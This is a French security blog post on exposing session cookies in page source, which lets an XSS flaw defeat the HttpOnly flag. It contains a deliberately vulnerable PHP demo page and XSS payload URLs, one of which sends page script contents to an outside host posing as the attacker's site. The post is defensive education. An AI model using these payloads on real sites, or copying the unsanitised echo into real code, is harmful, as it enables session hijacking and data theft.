Skip to content

XSS : JSESSIONID dans le code source

Dans cet article, je vais vous présenter une mauvaise pratique que j’ai pu croiser plusieurs fois durant des audits ou des bug bountys et qui expose, mine de rien, un impact important en terme de sécurité

Plus précisément, il s’agit de protéger la confidentialité du cookie de session des utilisateurs authentifiés sur un site web.

Pour rappel, lorsque vous vous authentifiez sur un site web, un cookie (souvent nommé PHPSESSID ou JSESSIONID selon la technologie utilisée), permet de faire le lien entre votre navigateur (qui envoi le cookie à chaque requête au serveur web) et une session stockée côté serveur. La session « AA0101BB » correspond à une session de l’utilisateur « John » qui s’est authentifié, si un navigateur m’envoie dans sa requête le cookie « AA0101BB », je sais en tant que serveur que je peux lui afficher les pages et informations personnelles de l’utilisateur « John ».

Ceci étant dit, on sait que les vulnérabilités de type XSS permettent notamment de faire exécuter, par le navigateur de sa victime, du code HTML/Javascript, qui permet notamment de récupérer des informations sensibles (dont le cookie de session). Dans un précédent article, nous avons étutidé les flag « HttpOnly » et « Secure » qui permettent de protéger la confidentialité les cookies de sessions lorsqu’utilisé. Voir Sécurité des sites web : L’utilité des flags Secure et HttpOnly

Il existe néanmoins des cas où même si ces flags sont utilisés (notamment le HttpOnly), le cookie de session est récupérable par un attaquant en cas de vulnérabilité XSS découverte.

Rapide rappel, le flag « HttpOnly » est déclaré par un serveur lorsque celui-ci affecte un cookie à un client. Il dit clairement au client « interdit à tous les scripts Javascript d’accéder à ce cookie« . Ainsi en cas de XSS, le code javascript exécuté par la « main » du pirate ne peut récupérer le cookie de session.

II. Mauvaise pratique observée

Il s’agit d’une d’une pratique que j’ai croisé à de multiples reprises, celle-ci consiste à écrire dans le code source de la page HTML envoyée au navigateur de l’utillisateur, le contenu du cookie de session. De par mon expérience, j’ai souvent constaté cette réécriture dans un contexte Javascript (à l’intérieur de balises « script », alors que le flag « HttpOnly » était activé sur le cookie de session). De plus, il s’agit le plus souvent de l’action de plugin ou code relatif aux statistiques/tracing.

On peut imaginer qu’il s’agisse d’un contournement des procédures de sécurité par l’équipe SEO par exemple, mais ce n’était pas le cas de tous les contextes ou j’ai croisé cette bizarerrie. Dans un tel contexte, on peut se retrouver avec un code comme celui-ci dans le code source de la page web reçue une fois authentifié.

<script>
  var session = "AA0101BB":
  [...]
</script>

Ici le contenu de la variable Javascript « session » possède le même contenu que votre cookie de session.

Pour être clair, chaque utilisateur authentifié se retrouve donc cette information inscrite dans le code source reçu et traité par leur navigateur.

Quel est le problème ? C’est que si le cookie de session est protégé par le flag « HttpOnly », c’est justement pour le protéger d’un vol dans le cas de l’exploitation d’une vulnérabilité XSS. Hors l’écriture de cette information dans le code source d’une page web contourne clairement cette protection, exposant à nouveau le cookie de session à un vol.

II. Exploitation

Bon, il faut auparavant avoir une vulnérabilité XSS sur la cible, lorsque l’on utilise le flag « HttpOnly » sur un cookie de session, on peut penser que sa confidentialité est assurée. Néanmoins cette sécurité est « annulée » par l’écriture du cookie de session dans le code source de la page reçue et traitée par le navigateur des utilisateurs. Voici un petite démonstration avec la page suivante qui possède nos deux facteurs d’exploitation.

<html>
<head>
  <script>
    var JSESSIONID="1A3E5B63AE63";
  </script>
</head>
<body>
  <h1>Hello</h1>
  <?php
    echo $_GET['go'];
  ?>
</body>
</html>

On voit bien qu’une XSS est présente, via l’écriture sans épuration du paramètre GET « go », et également une information sensible qui se retrouve dans le code source de la page web du client, un cookie de session.

Il s’agit ici d’une démonstration, en condition réelle, chaque utilisateur possède un cookie de session qui lui est propre et celui-ci est ajouté dynamiquement côté serveur avant envoi de la page (dans ma démo, j’ai écris en dur l’information dans le fichier PHP, mais l’effet est le même).

D’abord, voyons si l’on peut exploiter une faille XSS avec le payload suivant :

http://192.168.1.19/xss/index.php?go=aze"><script>alert(1)</script>

Voici le résultat obtenu :

Bien, maintenant que notre pirate a détecté l’injection du cookie de session dans le code source de la page web, il va tenter de récupérer celui d’un utilisateur authentifié. On va donc procéder en deux étapes au travers notre payload :

1. Récupérer le code source de la page web afin d’y filtrer l’information qui nous intéressante

2. Envoyer cette information afin que l’attaquant puisse la consulter (email, requête web, écriture dans fichier texte accessible)

Dans notre contexte, cela va donner le payload suivant :

http://192.168.1.19/xss/index.php?go=4<script>alert(document.getElementsByTagName('script')[0].innerHTML)</script>

Je récupère le contenu de la balise « script » (il n’y en a qu’une dans ma page d’exemple, donc c’est plutôt simple).

Deuxième étape, j’envoie cette information sur le site web de l’attaquant via un paramètre GET

http://192.168.1.19/xss/index.php?go=4<script>window.location='https://ogma-sec.fr?INFO='+document.getElementsByTagName("script")[0].innerHTML+''</script>

Ici l’utilisateur sera redirigé vers la page suivante grâce au payload et l’utilisation de « window.location« :

https://ogma-sec.fr/?INFO=var JSESSIONID="1A3E5B63AE63";

Si « www.ogma-sec.fr » est le site web de l’attaquant, alors celui-ci vera le contenu du cookie de session de sa victime dans ses logs et le tour est joué.

En conséquence, nous arrivons à voler le cookie de session d’un utilisateur via l’exploitation d’une vulnérabilité XSS alors que le flag « HttpOnly » est activé sur ce cookie de session. Et pour cause, on récupère non pas le contenu du cookie de session, mais le contenu du code source, non protégé.

C’est ici le résultat d’une mauvaise pratique souvent observée qui consiste à réécrire le contenu du cookie de session dans le code source de la page envoyée au navigateur. Il est ici intéressant de noter que cette technique peut être utilisée pour voler n’importe quel élément présent dans le code source du navigateur d’une victime, par exemple le nom, mail, téléphone dans l’espace personnel d’un utilisateur. La seule condition est d’avoir trouvé une XSS valide sur le site web concerné.

Pour information, c’est par ce même mécanisme qu’une vulnérabilité XSS permet de contourner la présence d’un token anti-CSRF (souvent écrit dans le code source).

Les plus curieux se rappelleront d’ailleurs de la vulnérabilité nommée « XST » (« Cross Site Tracing) qui exploite la méthode HTTP TRACE, cette dernière renvoie au client la parfaite copie des headers envoyés durant la requête, on peut alors, si l’on exploite une XSS, faire envoyer une requête TRACE à un serveur et se renvoyer (en tant qu’attaquant), le contenu du header renvoyé au client, celui-ci contenant généralement le cookie de session. Cette vulnérabilité est aujourd’hui plus difficile à exploiter car les navigateurs empêchent par sécurité l’utilisation du XmlHttpRequest permettant de faire une requête HTTP TRACE en Javascript, mais le principe de l’attaque est similaire.

On peut ici se demander qu’est ce qui peut empêcher une page web qui contient intentionnellement du Javascript malicieux de faire requêter à ses visiteurs une autre page web (d’un autre domaine) afin d’en récupérer le code source, la réponse est : Le Same Origin Policy ! Mais nous en discuterons dans un autre article 🙂

N’hésitez pas à poser vos questions et partager votre avis dans les commentaires

Partager :
Published inNon classé

2 Comments

  1. Petit Castor

    Père Castor raconte moi l’histoire du Same Origin Policy ! 🙂
    Merci pour cet article, très instructif et intéressant !

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *